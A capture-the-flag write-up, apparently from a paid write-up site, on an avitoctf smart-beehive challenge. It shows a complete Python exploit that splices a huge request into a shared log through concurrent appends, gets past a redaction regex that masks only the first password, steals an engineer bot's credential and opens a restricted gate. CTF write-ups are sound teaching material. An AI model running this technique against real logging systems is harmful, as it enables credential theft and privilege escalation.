$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: A Spring Boot hive panel exposes masked request logs and an engineer maintenance bot to a low-privilege operator. Solution: Splice concurrent append writes, bypass first-only redaction, steal the bot credential, and open the gate.
A smart beehive has cameras, sensors, and camera-controlled landing gates. Low-privileged bee credentials are provided, but this account cannot control the gate. Source code is supplied.
The goal is to open the engineer-only landing gate. The first challenge endpoint is only a CAPTCHA-protected instance launcher; after completing it, the organizer provides a temporary -srv- service origin. The exploit targets that launched Java service, not the launcher.
DatabaseSeeder.java:33-36 gives the low user only AUDIO_OPERATOR, while DatabaseSeeder.java:46-58 makes landing-gate writable only by ENGINEER and hive-speakers writable by both roles. DeviceRegistry.ensureWritable() performs the real role check at lines 269-273, so there is no direct authorization bypass.
This is not JWT or session forgery either. SessionService.java:32-45 creates a random 32-byte token with SecureRandom, stores its username server-side in a ConcurrentHashMap, and sends only the opaque ID to the client. The intended escalation is therefore credential theft: obtain the real BeeEng password and authenticate normally.
An audio operator can disable the speakers. In DeviceController.java:50-57, every successful disable operation calls MaintenanceBot.restoreSpeakers(). The bot schedules a restoration job and then submits this form to the loopback /login endpoint (MaintenanceBot.java:47-76):
username=BeeEng&password=<ENGINEER_PASSWORD>&remember=true&client=maintenance-console
RequestLoggingFilter.java:30-35 logs each request before controller dispatch. Its canonicalQuery() method at lines 52-71 obtains the complete parameter map, sorts parameter names, preserves every value of a repeated parameter, URL-encodes the values, and joins them with &. Thus the bot's request produces a recognizable segment in the audit log:
password=<ENGINEER_PASSWORD>&remember=true&username=BeeEng
Any authenticated account can read or clear the debug log (LogController.java:22-32), so the low account can observe the result.
The vulnerable primitive is in DebugAuditLog.append() (DebugAuditLog.java:59-68):
String line = timestamp + " " + service + " " + normalized + "\n"; compactIfNeeded(); Files.writeString(path, line, StandardCharsets.UTF_8, StandardOpenOption.CREATE, StandardOpenOption.APPEND);
The compaction check uses compactionLock, but the actual append does not. APPEND protects each underlying file write's position; it does not guarantee that one multi-megabyte Java call becomes one indivisible kernel write. A roughly 31 MB log entry is emitted through multiple underlying writes. A short bot-login append can therefore land between chunks of the attacker's still-open logical entry, putting attacker parameters and a complete bot login on the same physical line.
The reader then applies this regex once per physical line (DebugAuditLog.java:103-105):
SENSITIVE_QUERY_PARAM.matcher(line).replaceFirst("$1********")
Only the first password= occurrence is masked. If the mixed line begins with an attacker-controlled password parameter and contains the bot login later, the first attacker value is replaced while the later engineer password remains visible.
This is concurrent file-append splicing combined with first-match redaction. It is not HTTP request smuggling: all requests are ordinary, independent HTTP requests, and no frontend/backend framing disagreement is involved. It is not SQL injection either: no query syntax is modified; the database-backed role check remains intact.
The payload contains 31 repeated password parameters, each with 999,900 bytes. This has two purposes:
RequestLoggingFilter preserves duplicate values, so canonicalization creates one very large audit entry containing many literal &password= markers. This guarantees that a spliced bot login can occur after an earlier maskable password occurrence.Files.writeString() to require many underlying writes, substantially widening the race window.The payload must remain below the configured 32 MiB log compaction threshold. docker-compose.yml:12 sets HIVE_LOG_MAX_BYTES to 33554432; crossing it may invoke compactToTail() and replace the file while the race is in progress. Approximately 31 MB is large enough to fragment the append while leaving room for request metadata and concurrent bot lines.
The client streams all but the final request byte and holds that byte. This allows the server to receive almost the entire body while preventing form parsing and audit logging from starting too early. After the body is preloaded, the solver schedules a burst of 75 speaker restorations, polls until three bot-login lines are visible, and releases the last byte to align the large append with the continuing bot burst.
hive-speakers; each schedules an engineer bot login.remember=true&username=BeeEng.BeeEng with the recovered password./api/devices/landing-gate/open; DeviceController.java:71-75 calls DeviceRegistry.openLandingGate(), whose response includes serviceToken at DeviceRegistry.java:81-91.The initial calibration used 50 bot logins and released after one observed line; it missed during ten attempts. This did not disprove the vulnerability and was not a separate attack family—it only showed that the overlap window was too narrow. Increasing the burst to 75 and releasing after three observed lines succeeded on attempt 6.
#!/usr/bin/env python3 import re import os import threading import time from concurrent.futures import ThreadPoolExecutor import requests BASE = os.environ["BASE"].rstrip("/") LOW_USER = "bee4" LOW_PASSWORD = "MusicIsLife123" def preload(body, ready, release): class HeldBody: def __len__(self): return len(body) def __iter__(self): end = len(body) - 1 for offset in range(0, end, 65536): yield body[offset:min(offset + 65536, end)] ready.set() if not release.wait(120): raise TimeoutError("request-tail release timed out") yield body[-1:] return requests.post( BASE + "/not-found", data=HeldBody(), headers={ "Content-Type": "application/x-www-form-urlencoded", "Content-Length": str(len(body)), }, timeout=240, ) def trigger(cookie): for retry in range(6): response = requests.post( BASE + "/api/devices/hive-speakers/power?enabled=false", cookies=cookie, timeout=30, ) if response.status_code != 429: return response.status_code == 200 time.sleep(0.25 * (retry + 1)) return False def main(): low = requests.Session() response = low.post( BASE + "/login", data={"username": LOW_USER, "password": LOW_PASSWORD}, timeout=20, ) response.raise_for_status() value = "A" * 999_900 body = "&".join("password=" + value for _ in range(31)).encode() leaked = None for attempt in range(1, 11): low.post(BASE + "/debug/logs/clear", timeout=30).raise_for_status() ready = threading.Event() release = threading.Event() with ThreadPoolExecutor(max_workers=2) as pool: upload = pool.submit(preload, body, ready, release) if not ready.wait(180): raise RuntimeError("large body did not preload") burst = pool.submit( lambda: sum(trigger(low.cookies.get_dict()) for _ in range(75)) ) deadline = time.monotonic() + 45 while time.monotonic() < deadline: logs = low.get(BASE + "/debug/logs?lines=1000", timeout=30).text seen = len(re.findall( r"password=[^&\s]+&remember=true&username=BeeEng", logs )) if seen >= 3: break time.sleep(0.05) release.set() upload_status = upload.result().status_code accepted = burst.result() time.sleep(0.75) logs = low.get(BASE + "/debug/logs?lines=1000", timeout=180).text candidates = re.findall( r"password=([^&\s]+)&remember=true&username=BeeEng", logs ) leaked = next((value for value in candidates if value != "********"), None) print( f"attempt={attempt} upload={upload_status} " f"triggers={accepted}/75 leak={bool(leaked)}" ) if leaked: break if not leaked: raise RuntimeError("credential splice missed; rerun") engineer = requests.Session() engineer.post( BASE + "/login", data={"username": "BeeEng", "password": leaked}, timeout=20, ).raise_for_status() result = engineer.post(BASE + "/api/devices/landing-gate/open", timeout=20) result.raise_for_status() print(result.json()) if __name__ == "__main__": main()
The successful run recorded the following sanitized output in exploit-output-release3.txt:
attempt 6: body preloaded; scheduling bot attempt 6: observed 3 bot lines; releasing request tail attempt 6: status=500, triggers=75/75, bot lines=71, leak=True BeeEng password: <ENGINEER_PASSWORD_REDACTED> landing-gate response: serviceToken=avito{REDACTED}
The large request returning HTTP 500 is harmless: the request logging filter has already parsed and appended its parameters before the nonexistent route fails. The decisive evidence is the unmasked engineer credential, successful engineer login, and successful gate response.
smarthive/src/main/java/ru/avito/iot/hivehub/web/DeviceController.javasmarthive/src/main/java/ru/avito/iot/hivehub/service/MaintenanceBot.javasmarthive/src/main/java/ru/avito/iot/hivehub/web/RequestLoggingFilter.javasmarthive/src/main/java/ru/avito/iot/hivehub/service/DebugAuditLog.javasmarthive/src/main/java/ru/avito/iot/hivehub/service/SessionService.javasmarthive/src/main/java/ru/avito/iot/hivehub/service/DeviceRegistry.javasmarthive/src/main/java/ru/avito/iot/hivehub/bootstrap/DatabaseSeeder.javasmarthive/docker-compose.ymlexploit.pyexploit-output-release3.txt$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar